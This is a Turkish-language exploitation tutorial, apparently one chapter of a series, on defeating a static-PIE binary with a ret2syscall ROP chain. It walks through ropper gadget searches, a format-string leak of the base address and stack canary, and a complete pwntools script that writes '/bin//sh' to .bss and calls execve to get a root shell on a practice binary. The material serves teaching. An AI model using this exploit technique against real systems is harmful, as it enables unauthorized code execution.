Yine önceki bölümlerle aynı hedefe sahibiz, programın akışını değiştirerek bir shell çalıştırmak istiyoruz.
Kodumuz önceki bölüm ile birebir aynı, bu sefer başka bir derleme opsyinu ekledik: -static-pie
UNIX gibi işletim sistemlerinde, bir ELF dosyasını execve()
gibi sistem çağrıları ile çalıştırdığınızda,
çekirdek bu yeni program için bir bellek alanı ayarlar, programın kodunu bu bellek alanına yükler ve programı
çalıştırır. Bu işlem yüzeysel bir biçimde bu şekilde açıklansada özünde çok daha karmaşıktır.
ELF dosyasını çalıştırmadan önce, ELF header'ında yer alan önemli yapılardan biri program header table'ıdır.
Bu header table'daki, her bir header, programı çalıştrmadan önce sistemin yapması gerekenler hakkında çeşitli
bilgiler içerir. Bizim ilgilendiğimiz header tipi PT_INTERP
. Bu tip header yapısı, ELF için kullanılan linker'ın yolunu belirtir.
Bu linkere aynı zamanda kafa karıştıcı bir şekilde "interpreter" da deniyor ancak biz linkerla devam edeceğiz.
Sistem, ELF dosyasını yüklediği şekilde linker'ı çalıştırmak adına belleğe yükler, sonsuz bir döngüyü önlemek
adına linker'ın kendi kendisine linklenmediğinden emin olur, ardından linker'a ELF dosyasına işaret eden bir
file descriptor verir. Linker, relocation'ları yapmak,
üzerinde çalıştığı spesifik platform için gerekli çağrıları kullanarak kendi kullanımı için bir bellek alanı oluşturmak
gibi önemli işlerini tamamladıktan sonra, ELF dosyasında, DYNAMIC
bölgesi altında belirtilen DT_NEEDED
olarak işaretlenmiş
Elf64_Dyn
tanımlarına bakar. Bu veri yapısı programın ihtiyaç duyduğu shared object'lerin yani .so
uzantılı kütüphanelerin
yollarını içerir.
Linker, bu kütüphaneleri belleğe yolladıktan sonra başlangıç fonksiyonunu çağrır (bu durumda bu glibc
'nin init
fonksiyonu olacaktır).
Bu çağrı eğer bir kütüphaneye aitse, kütüphane gerekli ayarlarını yaptıktan sonra son olarak bizim programımızın main
fonksiyonunu çağrır ve kodumuz çalışmaya başlar.
Dinamik linklenmiş programlar özünde böyle çalışır. Tabi birçok detayı ele almadık ama bunun sebebi bütün detaylara ihtiyaç duymadığımız gerçeği.
Popüler GNU/Linux sistemlerinde çoğu program dinamik linklidir. Bunun amacı statik linkleme sonucu ortaya çıkan büyük program boyutlarını önlemek.
Fakat bu durum çok açık bir soruna sebep oluyor. Ya bir programın ihtiayıcı olan shared object, yani kütüphane sistemde yoksa? Bu durumda programı çalıştıramayız. Ya da daha kötüsü ya programın ihtiyacı olan linker mevcut değilse? Ya da varolan kütüphanenin versiyonu programın ihtiyacı olan versiyondan daha eskiyse? Bu sebeplerden ötürü dinamik linki programlar pek taşınabilir değiller. Her farklı GNU/Linux dağıtımında farklı paket sistemleri ve bağımsız paketler olmasının ana sebpelerinden biri de bu zaten.
Statik linklenmiş programlar bize bu açıdan bir alternatif sağlar, programınızı statik bir şekilde inşa ederseniz, dinamik kütüphanelere ve de linker'a ihtiyaç duymadan programı doğrudan çalıştırabilirsiniz. Çünkü statik olarak inşa edilmiş bir programda, gerekli olan tüm kütüphane fonksiyonları programın içindedir. Yani bir bakıma program kütüphaneyle beraber gelir.
Yani bu program, -static-pie
ile derlendiğinden, çalışırken belleğe herhangi bir kütüphane yüklemiyor (ve ayrıca PIE olduğundan ASLR
tarafından korunuyor). Bunu gdb
'de görebiliriz:
root@o101:~/0x5# gdb ./0x5.elf
...
(gdb) r
Starting program: /root/0x5/0x5.elf
Hello, what's your name?
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7f7327d in read ()
(gdb) info proc map
process 1004
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x7ffff7f25000 0x7ffff7f29000 0x4000 0x0 r--p [vvar]
0x7ffff7f29000 0x7ffff7f2a000 0x1000 0x0 r-xp [vdso]
0x7ffff7f2a000 0x7ffff7f33000 0x9000 0x0 r--p /root/0x5/0x5.elf
0x7ffff7f33000 0x7ffff7fc8000 0x95000 0x9000 r-xp /root/0x5/0x5.elf
0x7ffff7fc8000 0x7ffff7ff3000 0x2b000 0x9e000 r--p /root/0x5/0x5.elf
0x7ffff7ff3000 0x7ffff7ff7000 0x4000 0xc9000 r--p /root/0x5/0x5.elf
0x7ffff7ff7000 0x7ffff7ffa000 0x3000 0xcd000 rw-p /root/0x5/0x5.elf
0x7ffff7ffa000 0x7ffff8021000 0x27000 0x0 rw-p [heap]
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 --xp [vsyscall]
Farkında olduğunuz gibi şuana kadar exploit etiğimiz tüm programlar dinamik olarak linklenmişti. O yüzden libc
aracılığı
ile ROP yapmamız gereken durumlarda, libc
nin başlangıç adresini hesaplayıp, offset'ler falan kullandık. Çünkü program çalıştığında
ASLR'dan ötürü linker'ın libc
yi nereye yükleyeceğini bilmiyorduk.
Bu sefer durum farklı, elimizde statik bir program var. İlk olarak bunun pek bir sorun oluşturmayacğını düşünebilirsiniz.
"Ah, tek yapmamız gereken libc
adreslerine dönmek yerine doğrudan ELF içindeki adreslere dönmek, değil mi?"
Şey... tam olarak değil. "Bir bakıma program kütüphane ile beraber gelir" dediğimde tam olarak doğru söylemiyordum. Linker'lar genelde programın inşası sırasında, kütüphanelerden gelen ve kullanılmayan kodu, zaten büyük olan statik programın boyutunu daha da şişirmemek adına programa eklemiyorlar.
Bu da demek oluyor ki, önceki exploitimizde kullandığımız system()
çağrısı ve kullandığımız bazı ROP gadget'ları programa dahil olmayabilir:
root@o101:~/0x5# readelf -s 0x5.elf | grep system
661: 00000000000b80e0 32 OBJECT LOCAL DEFAULT 15 system_dirs_len
662: 00000000000b8100 66 OBJECT LOCAL DEFAULT 15 system_dirs
root@o101:~/0x5#
Gördüğünüz gibi system()
fonksiyonu bu programda mevcut değil. Yani system()
aracılığı ile bir shell almamız mümkün değil. Daha kötüsü,
programın içinde, bir shell çalıştırmamızı sağlyacak hiçbir fonksiyon bulunmayabilir. Bu durumda dönüş adresini, sadece hali hazırda bulunan
kod parçalarına atlayacak şekilde manipüle ederek bir shell almamız imkansız. Sonuçta olmayan bir adrese dönemeyiz ya?
Bu sorunun bir çözümü var. Evet, hali hazırda varolan libc
ya da program ile bir shell almamız mümkün değil. Ancak illa da bir fonksiyonu
çağırmak zorunda değiliz ya? Sonuçta tüm bu ROP gadgetlarına sahibiz. Tüm bu gadget'lar aracılığı ile doğrudan Linux çekirdeğinin sistem çağrılarına
erişebiliriz.
Tahmin ediyorum ki çoğunuz sistem çağrılarının ne olduğunu bliyordur. Ancak küçük bir hatırlatma olarak, sistem çağrıları (kısaca "syscalls") işlemcinin ring 3, yani userland'den, ring 0 yani kernel'e geçiş yapmasını sağlayan araçlar.
Bu sistem çağrıları, kernel tarafından programlara sağlanır ve programlar genelde bu çağrıları libc
gibi kütüphaneler aracılığı ile kullanarak
kernel ile haberleşip farklı kaynaklara erişim sağlar.
Elimizde libc
deki bütün fonksiyonlar var olmadığından annemizi olan libc
nin eteğinden çekiştererek "anne bunu istiyorum, şunu istiyorum"
dememiz bu durumda mümkün değil. Ancak libc
nin perdenin arkasında çağırdığı sistem çağrılarını doğrudan kendimiz çağırabiliriz. Dönüş adreslerini
değiştirerek sistem çağrılarını çağırarak yapılan bu ROP saldrısına ret2sys deniyor.
Bu exploit için bir shell istiyoruz. O halde anlık çalışan programı, başka bir program ile değiştiren execve
sistem çağrısını kullanabiliriz.
Hadi manueli inceleyelim:
SYNOPSIS
#include <unistd.h>
int execve(const char *pathname, char *const _Nullable argv[],
char *const _Nullable envp[]);
DESCRIPTION
execve() executes the program referred to by pathname. This causes the program that is currently being run
by the calling process to be replaced with a new program, with newly initialized stack, heap, and (initial‐
ized and uninitialized) data segments.
#include <unistd.h>
Yani tek yapmamız gereken 3 tane basit parametre ayarlayıp execve
sistem çağrısını çağırmak, bunu nasıl yapabiliriz?
Sistem çağrılarını çağırmadan önce, aslında ayarlamamız gereken bazı registerlar mevcut. Bunların güzel bir tablosunu bu sitede bulabilirsiniz. Bu sistem çağrılarının calling convention'ı yani çağrı yöntemleridir.
Bu çağrı yönteminde, x64 bit sistemlerde:
rax
: hangi çağrıyı kullandığımızı belirten numarayı tutarrdi
: ilk argümanrsi
: ikinci argümanrdx
: üçüncü argümanr10
: dördüncü arügmanr8
: beşinci arügmanr9
: altıncı arügman
olarak kullanılır. Ve klasik x64 çağrı yöntemlerinde olduğu gibi rax
çağrı sonucunda dönüş değerini tutar.
Bizim execve
çağrısı için:
rax
: 59rdi
: shell'imiz olan/bin/sh
karakter dizesinin adresirsi
:NULL
(0)rdx
:NULL
(0)
olması lazım. O halde bazı gadget'lara ihtiyacımız olacak. Hadi kolay olan argümanlar ile başlayalım,
rsi
ve rdx
i NULL
yani 0
yapmamız lazım:
root@o101:~/0x5# ropper --file 0x5.elf --search "pop rdx;"
...
0x000000000008da77: pop rdx; pop rbx; ret;
...
Doğrudan pop rdx
içeren bir gadget mevcut değil, o yüzden bunu kullanmamız gerecek. Devam edelim, şimdi
rsi
için aynısı lazım:
root@o101:~/0x5# ropper --file 0x5.elf --search 'pop rsi;'
...
0x00000000000173c2: pop rsi; ret;
...
Bu sefer doğrudan pop rsi
içeren bir gadget mevcut.
Şimdi zor kısma geldik, nasıl /bin/sh
karakter dizesinin adresini rdi
'a yerleştireceğiz?
Bunun için ilk olarak /bin/sh
ın bellekte belirli bir adreste erişilebilir olması gerekir, ki adresini alabilelim.
Ancak strings
ile kontrol edersek, linker optimizasyonundan dolayı libc
içinde olan bu karakter dizesi statik
binary'e dahil değil:
strings -a -t x 0x5.elf | grep "/bin/sh"
Bu durumda, bu karakter dizesini belleğe kendimiz yerleştirmemiz gerecek. Tabiki de ilk olarak bellekte yazabileceğimiz bir alan lazım,
bunun için ELF dosyasının .bss
alanını kullanabiliriz. Bu okuma ve yazma izni olan, serbest bir belllek alanı ve genelde statik değişkenler
için kullanılıyor.
Bu alanın adresini tutabilecek bir register lazım, rdi
ı zaten her türlü kullanacağız, rdi
yı deneyelim:
root@o101:~/0x5# ropper --file 0x5.elf --search 'pop rdi;'
...
0x0000000000009e50: pop rdi; ret;
...
Güzel, şimdi rdi
da tutulan adrese yazmamızı izin verecek birşey lazım:
root@o101:~/0x5# ropper --file 0x5.elf --search 'mov qword ptr'
...
0x0000000000041166: mov qword ptr [rdi], rcx; ret;
...
Bu harika bir gadget çünkü diğer ihtiyacımız olan registerlar'ı modifiye etmiyor, rcx
i kullanıyor.
rcx
i modifye etmenin bir yolu lazım sadece:
root@o101:~/0x5# ropper --file 0x5.elf --search 'pop rcx;'
...
0x0000000000041806: pop rcx; tzcnt eax, eax; ret;
...
Harika ötesi, son olarak rax
için bir gadget lazım:
root@o101:~/0x5# ropper --file 0x5.elf --search 'pop rax;'
...
0x0000000000049327: pop rax; ret;
...
Bunların hepsini ayarladıktan sonra sistem çağrısını çağırmamız lazım. Farklı mimarilerde bunu yapmanın farklı yolları var.
x64 için hızlı bir şekilde sistem çağrısına girilmesini sağlayan AMD'nin syscall
instruction'ı mevcut. Benzer bir şekilde Intel'in Pentium II ile ortaya
attığı systenter
instruction'ı da var. Ancak 64 bit bir kernel için her iki işlemcide de uyumlu olan instruction
AMD'nin syscall
instruction'ı.
Bunu da ropper
ile bulabiliriz, ancak pwntools'un başka bir özelliğini daha gösterip sizi ropper
ile gadget arama eziyetinden
kurtarmak istiyorum o yüzden hadi şimdi herşeyi birleştirelim.
İlk olarak leaklediğimiz base adresi artık ELF'in adresi, o yüzden kullandığımız offseti değiştirmemiz gerekecek:
root@o101:~/0x5# gdb ./0x5.elf
(gdb) r
Starting program: /root/0x5/0x5.elf
Hello, what's your name?
%5$p,%13$p
0x7ffff7ff7520,0xf8ac48df3110f500? [yes/no]
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7f7327d in read ()
(gdb) info proc map
process 1313
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x7ffff7f25000 0x7ffff7f29000 0x4000 0x0 r--p [vvar]
0x7ffff7f29000 0x7ffff7f2a000 0x1000 0x0 r-xp [vdso]
0x7ffff7f2a000 0x7ffff7f33000 0x9000 0x0 r--p /root/0x5/0x5.elf
0x7ffff7f33000 0x7ffff7fc8000 0x95000 0x9000 r-xp /root/0x5/0x5.elf
0x7ffff7fc8000 0x7ffff7ff3000 0x2b000 0x9e000 r--p /root/0x5/0x5.elf
0x7ffff7ff3000 0x7ffff7ff7000 0x4000 0xc9000 r--p /root/0x5/0x5.elf
0x7ffff7ff7000 0x7ffff7ffa000 0x3000 0xcd000 rw-p /root/0x5/0x5.elf
0x7ffff7ffa000 0x7ffff8021000 0x27000 0x0 rw-p [heap]
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 --xp [vsyscall]
(gdb)
Yeni offset'imizi, libc
offset'ini öğrenmek için yaptığımız gibi, programın başlangıç adresinden leaklediğimiz
adresi çıkartarak hesaplayabiliriz:
root@o101:~/0x5# python3
Python 3.11.2 (main, Sep 14 2024, 03:00:30) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x7ffff7ff7520-0x7ffff7f2a000)
'0xcd520'
Yeni offset'imiz 0xcd520
, şimdi pwntools ile yazdığımız, önceki bölümden kalma exploitimizi libc
nin base adresi yerine
ELF'in base adresini güncelleyecek şekilde değiştirelim:
p.recvuntil(b"\n")
p.sendline(b"%5$p,%13$p,")
line = p.recvline().split(b",")
leak = line[0]
cookie = line[1]
info(f"Leaked address: {leak.decode()}")
info(f"Leaked cookie: {cookie.decode()}")
elf.address = int(leak, 16) - 0xcd520
info(f"Found base: {hex(elf.address)}")
Şimdi asıl overflow kısmına gelelim, bu kısımda bir değişikliğe gerek yok:
payload = b"A"*56 # answer + name
payload += p64(int(cookie, 16)) # cookie
payload += b"A"*8 # rbp
Güzel, şimdi payload'ımızın dönüş adreslerini modifye eden kısmına geldiğimize göre ret2sys saldırımızı pratiğe geçirebiliriz.
Önce ilk gadget'ımız ile rdx
i sıfırlamak ile başlayalım:
payload += p64(elf.address+0x8da77) # pop rdx; pop rbx; ret;
payload += p64(0) # rdx
payload += p64(0) # rbx
Şimdi sırada rsi
da, ikinci gadget'ımızı kullanacağız:
payload += p64(elf.address+0x173c2) # pop rsi; ret;
payload += p64(0) # rsi
Şimdi /bin/sh
ı .bss
e yükleyelim. /bin/sh
normalde 7 karakter ancak rcx
registerını tamamını pop
'latığımızdan
bize 8 karakter lazım, bunu kolayca ek bir /
ekleyerek yapabiliriz. Sonuçta /bin//sh
hala geçerli bir yol.
Bu /bin/sh
ı bu adrese yüklemek için, sırasıyla üçüncü, beşinci ve dördüncü gadget'ımızı kullanacağız.
payload += p64(elf.address+0x09e50) # pop rdi; ret;
payload += p64(elf.bss()) # rdi
payload += p64(elf.address+0x41806) # pop rcx; tzcnt eax, eax; ret;
payload += b"/bin//sh" # rcx
payload += p64(elf.address+0x41166) # mov qword ptr [rdi], rcx; ret;
/bin/sh
ı artık .bss
de oturuyor. Adresine direk elf.bss()
ile erişebiliyoruz. Sadece bu adresi rdi
a yüklememiz lazım:
payload += p64(elf.address+0x09e50) # pop rdi; ret;
payload += p64(elf.bss()) # rdi
Son olarak, rax
i ayarlamamız lazım, bunun içinse son gadget'ımızı kullanacağız:
payload += p64(elf.address+0x49327) # pop rax; ret;
payload += p64(59) # rax
Artık syscall
instruction'ınını çağırabiliriz. Bunu ropper
ile bulmadık, çünkü aslında pwntools ile dinamik bir şekilde
ROP gadget'ları bulmamız mümkün, ben de size göstermek istedim. Fakat bu pwntools özelliği ropper
kadar iyi çalışmıyor o yüzden
kompleks gadget'lar için hala ropper
ı kullanmak isteyebilirsiniz:
rop = ROP(elf)
syscall = rop.find_gadget(["syscall"]).address
payload += p64(syscall)
Tüm payload'ı hazırladığımıza göre geri kalan şeyleri ekleyerek tüm explotimizi oluşturabiliriz:
from pwn import *
context.update(arch="amd64", os="linux")
elf = context.binary = ELF("./0x5.elf")
p = process("./0x5.elf")
p.recvuntil(b"\n")
p.sendline(b"%5$p,%13$p,")
line = p.recvline().split(b",")
leak = line[0]
cookie = line[1]
info(f"Leaked address: {leak.decode()}")
info(f"Leaked cookie: {cookie.decode()}")
elf.address = int(leak, 16) - 0xcd520
info(f"Found base: {hex(elf.address)}")
payload = b"A"*56 # answer + name
payload += p64(int(cookie, 16)) # cookie
payload += b"A"*8 # rbp
payload += p64(elf.address+0x8da77) # pop rdx; pop rbx; ret;
payload += p64(0) # rdx
payload += p64(0) # rbx
payload += p64(elf.address+0x173c2) # pop rsi; ret;
payload += p64(0) # rsi
payload += p64(elf.address+0x09e50) # pop rdi; ret;
payload += p64(elf.bss()) # rdi
payload += p64(elf.address+0x41806) # pop rcx; tzcnt eax, eax; ret;
payload += b"/bin//sh" # rcx
payload += p64(elf.address+0x41166) # mov qword ptr [rdi], rcx; ret;
payload += p64(elf.address+0x09e50) # pop rdi; ret;
payload += p64(elf.bss()) # rdi
payload += p64(elf.address+0x49327) # pop rax; ret;
payload += p64(59) # rax
rop = ROP(elf)
syscall = rop.find_gadget(["syscall"]).address
payload += p64(syscall)
p.sendline(payload)
p.interactive()
Hadi exploitimizi çalıştırıp deneyelim:
root@o101:~/0x5# python3 solve.py
[!] Did not find any GOT entries
[*] '/root/0x5/0x5.elf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './0x5.elf': pid 1454
[*] Leaked address: 0x7ffff7ff7520
[*] Leaked cookie: 0x1fb4a36be795cc00
[*] Found base: 0x7ffff7f2a000
[*] Loaded 121 cached gadgets for './0x5.elf'
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$